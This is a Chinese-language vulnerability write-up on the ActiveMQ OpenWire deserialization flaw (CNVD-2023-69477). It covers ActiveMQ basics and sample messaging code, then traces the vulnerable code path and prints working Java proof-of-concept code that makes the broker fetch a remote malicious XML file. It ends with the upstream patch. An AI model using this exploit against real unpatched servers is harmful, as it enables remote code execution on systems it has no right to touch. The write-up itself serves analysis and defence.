# ActiveMQ CNVD-2023-69477

## ActiveMQ Intro

ActiveMQ是一个消息队列，消息队列是在消息的传输过程中保存消息的容器，提供不同进程或同一进程不同线程之间的通讯方式，基于JMS规范（JMS：Java Message Service Java消息服务，有一套API接口）

其他类似的消息中间件：RabbitMQ、Kafka、RocketMQ、ZeroMQ

消息中间件的作用主要有3点

* 异步性提升性能（放入消息队列，不需要立即处理）
* 降低耦合度
* 流量削峰（消息中间件起到了缓冲的作用）

![image-20231221211113882](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-2a64c599ae8d203887d0433f6ee68d16e1e973b9%2Fimage-20231221211113882.png?alt=media)

* producer：消息生产者
* broker：消息处理中心，存储、确认、重试（broker可以翻译成代理）
* consumer：消息消费者

ActiveMQ支持多种应用协议：OpenWire（常用）、StompREST、WSNotification、AMQP。

提供了两种消息模式：点对点模式（Queue）、发布订阅模式（Topic）

点对点模式中队列的消息只会被一个消费者所消费

![image-20231221211128751](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-7c70e88f1ca6ff1d2c8f40053a22ffd2d70ddae7%2Fimage-20231221211128751.png?alt=media)

发布订阅模式中每个订阅者都会收到消息

![image-20231221211138060](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-2c41d62009833478ac35f994d50c382afd21c182%2Fimage-20231221211138060.png?alt=media)

JMS定义的消息体类型有如下几种：

| 属性            | 类型         |
| ------------- | ---------- |
| TextMessage   | 文本消息       |
| MapMessage    | k/v        |
| BytesMessage  | 字节流        |
| StreamMessage | java原始的数据流 |
| ObjectMessage | 序列化的java对象 |

## Quick Start

windows下ActiveMQ下载👉<https://activemq.apache.org/download-archives.html>

这里下载5.18.2版本，`/bin/win64`目录下有一个`activemq.bat`，ActiveMQ默认端口为61616

ActiveMQ还提供了管理员控制台`http://localhost:8161/admin/`

默认账号密码admin/admin

Java引入依赖

```xml
<dependency>
    <groupId>org.apache.activemq</groupId>
    <artifactId>activemq-all</artifactId>
    <version>5.18.2</version>
</dependency>
```

`Provider`

```java
import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;
public class JmsSender {
    public static void main(String[] args) {
        Connection connection = null;
        Session session = null;
        try {
            String brokerURL = "tcp://127.0.0.1:61616";
            // create ConnectionFactory
            ConnectionFactory mqConnectionFactory = new ActiveMQConnectionFactory(brokerURL);

            connection = mqConnectionFactory.createConnection();
            connection.start();
            /**
             * Session createSession(boolean transacted, int acknowledgeMode) 创建会话
             * transacted ：表示是否开启事务
             * acknowledgeMode：表示会话确认模式
             *      AUTO_ACKNOWLEDGE 自动确认
             *      CLIENT_ACKNOWLEDGE 客户确认
             */
            session = connection.createSession(Boolean.TRUE, Session.AUTO_ACKNOWLEDGE);
            /**
             * createQueue(String queueName)：创建消息队列，指定队列名称，消费者可以根据队列名称获取消息
             */
            Destination destination = session.createQueue("queue-app");
            MessageProducer producer = session.createProducer(destination);
            int massageTotal = 5;
            for (int i = 0; i < massageTotal; i++) {
                // 创建一个文本消息
                TextMessage textMessage = session.createTextMessage("Round " + (i + 1) + "\n");
                producer.send(textMessage);  // 生产者发送消息
                session.commit();  // 会话提交
            }
        } catch (JMSException e) {
            e.printStackTrace();
        } finally {
            if (session != null) {
                try {
                    session.close(); //关闭会话
                } catch (JMSException e) {
                    e.printStackTrace();
                }
            }
            if (connection != null) {
                try {
                    connection.close(); //关闭连接
                } catch (JMSException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}
```

`Consumer`

```java
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;

public class JmsReceiver {
    public static void main(String[] args) {
        Connection connection = null;
        Session session = null;
        try {
            String brokerURL = "tcp://127.0.0.1:61616";
            ConnectionFactory mqConnectionFactory = new ActiveMQConnectionFactory(brokerURL);

            connection = mqConnectionFactory.createConnection();
            connection.start();

            session = connection.createSession(Boolean.TRUE, Session.AUTO_ACKNOWLEDGE);

            Destination destination = session.createQueue("queue-app");
            MessageConsumer consumer = session.createConsumer(destination);
            int massageTotal = 5;
            for (int i = 0; i < massageTotal; i++) {
                TextMessage message = (TextMessage) consumer.receive(); // 消费者接收消息。因为对方发送的文本消息，所以可以强转
                session.commit(); // 确认消息，告诉中间件，消息已经确认接收
                System.out.println((i + 1) + ": " + message.getText());  // 获取消息文本
            }
        } catch (JMSException e) {
            e.printStackTrace();
        } finally {
            if (session != null) {
                try {
                    session.close();//关闭会话
                } catch (JMSException e) {
                    e.printStackTrace();
                }
            }
            if (connection != null) {
                try {
                    connection.close();//关闭连接
                } catch (JMSException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}
```

`Consumer`端成功打印文本消息

![image-20231221211202611](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-1779d41eac067a7a3ea5a79efa3ea10239fddfe5%2Fimage-20231221211202611.png?alt=media)

![image-20231221211207941](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-658bf6f4749ae73dcd274001a6aae3cd4350a25f%2Fimage-20231221211207941.png?alt=media)

## Analysis

漏洞版本：ActiveMQ < 5.18.3

攻击对象：ActiveMQ服务端

`ExceptionResponseMarshaller`的`tightUnmarshal`或`looseUnmarshal`

![image-20231221211218869](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-415db3baa812e128bc9a46547a91191ebbb6efd3%2Fimage-20231221211218869.png?alt=media)

![image-20231221211226719](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-95d7095ac8933b4afc4010bfaee5b2c0c4f18ce6%2Fimage-20231221211226719.png?alt=media)

会调用到父类的`BaseDataStreamMarshaller`的`tightUnmarsalThrowable`或`looseUnmarsalThrowable`

![image-20231221211237104](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-c545bfa27a943c1b50f8e90493c7433feac1497b%2Fimage-20231221211237104.png?alt=media)

分别反序列化类名和消息，接着调用`createThrowable`

![image-20231221211246556](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-f26a868d142d3ee23bd820fdf6a17481ef84ea45%2Fimage-20231221211246556.png?alt=media)

调用了类的构造方法，且构造方法只接收一个字符串

上面可知ActiveMQ的8161端口提供了一个管理员控制台，那就大概率依赖了`Spring Web`，看一下`ActiveMQ`的`lib`目录，果然有。

那就可以考虑调用`org.springframework.context.support.ClassPathXmlApplicationContext`的构造方法，远程加载恶意xml文件RCE。

ActiveMQ服务端接收到消息后，会调用`org.apache.activemq.openwire.OpenWireFormat#unmarshal`

`unmarshal`再到`doUnmarshal`，从数据流里读取数据类型，获取对应的序列化器，调用其`tightUnmarshal`或`looseUnmarshal`

为接上面的sink点，我们这里需要获取到`ExceptionResponseMarshaller`

![image-20231221211255861](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-2c61e175ea3a75d18ce4b3ee4e7e18d129a713e4%2Fimage-20231221211255861.png?alt=media)

对应的，客户端发送消息，会调用`marshal`，也是根据类型获取序列化器

![image-20231221211305370](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-55e26e455d4303ee64096f9e812908ea10c7b9e0%2Fimage-20231221211305370.png?alt=media)

看看`ExceptionResponseMarshaller#tightMarshal1` -> `BaseDataStreamMarshaller#tightMarshalThrowable1`

![image-20231221211313621](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-db4ef99d6b128d9c78ab6f7d1ff08282767d3d33%2Fimage-20231221211313621.png?alt=media)

这里获取了异常类的类名和消息（`Throwable`继承了其父类的`message`属性）

`ExceptionResponseMarshaller`即为`ExceptionResponse`的序列化器

![image-20231221211322076](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-b98840272c8b1ee8a5154548ecf759a1e97191ec%2Fimage-20231221211322076.png?alt=media)

异常打印的消息来自于`exception`成员，所以`ClassPathXmlApplicationContext`需要继承`Throwable`

![image-20231221211330866](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-af33ced184159e3c07231d215692679e112a8b08%2Fimage-20231221211330866.png?alt=media)

```java
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
    private String message;

    public ClassPathXmlApplicationContext(String message) {
        this.message = message;
    }

    @Override
    public String getMessage() {
        return message;
    }
}
```

```java
package org.example;

import org.apache.activemq.ActiveMQConnectionFactory;
import org.apache.activemq.ActiveMQSession;
import org.apache.activemq.command.ExceptionResponse;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.jms.*;

public class Main {
    public static void main(String[] args) throws Exception {
        ConnectionFactory connectionFactory = new
            ActiveMQConnectionFactory("tcp://127.0.0.1:61616");

        Connection connection = connectionFactory.createConnection("admin", "admin");
        connection.start();
        ActiveMQSession session = (ActiveMQSession) connection.createSession(Boolean.TRUE, Session.AUTO_ACKNOWLEDGE);
        ExceptionResponse exceptionResponse = new ExceptionResponse();

        exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml"));
        session.syncSendPacket(exceptionResponse);
        connection.close();
    }
}
```

![image-20231221211351699](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-fbda15e106598163490ed361023611bfe759eee2%2Fimage-20231221211351699.png?alt=media)

## Patch

<https://github.com/apache/activemq/compare/activemq-5.18.3...activemq-6.0.0>

新版本`BaseDataStreamMarshaller#createThrowable`增加了一处判断

![image-20231221211401700](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-8b1094e644409e04be44d35b9daa2e9259e7fe2e%2Fimage-20231221211401700.png?alt=media)

`OpenWireUtil#validateIsThrowable`判断类是否为`Throwable`的子类，否则抛出异常

![image-20231221211409230](https://1239337109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F2HLPOkuOfb7iyCzDJ8vA%2Fuploads%2Fgit-blob-35e3c675eebf04e432e5d77b3653b7fe4326d79b%2Fimage-20231221211409230.png?alt=media)
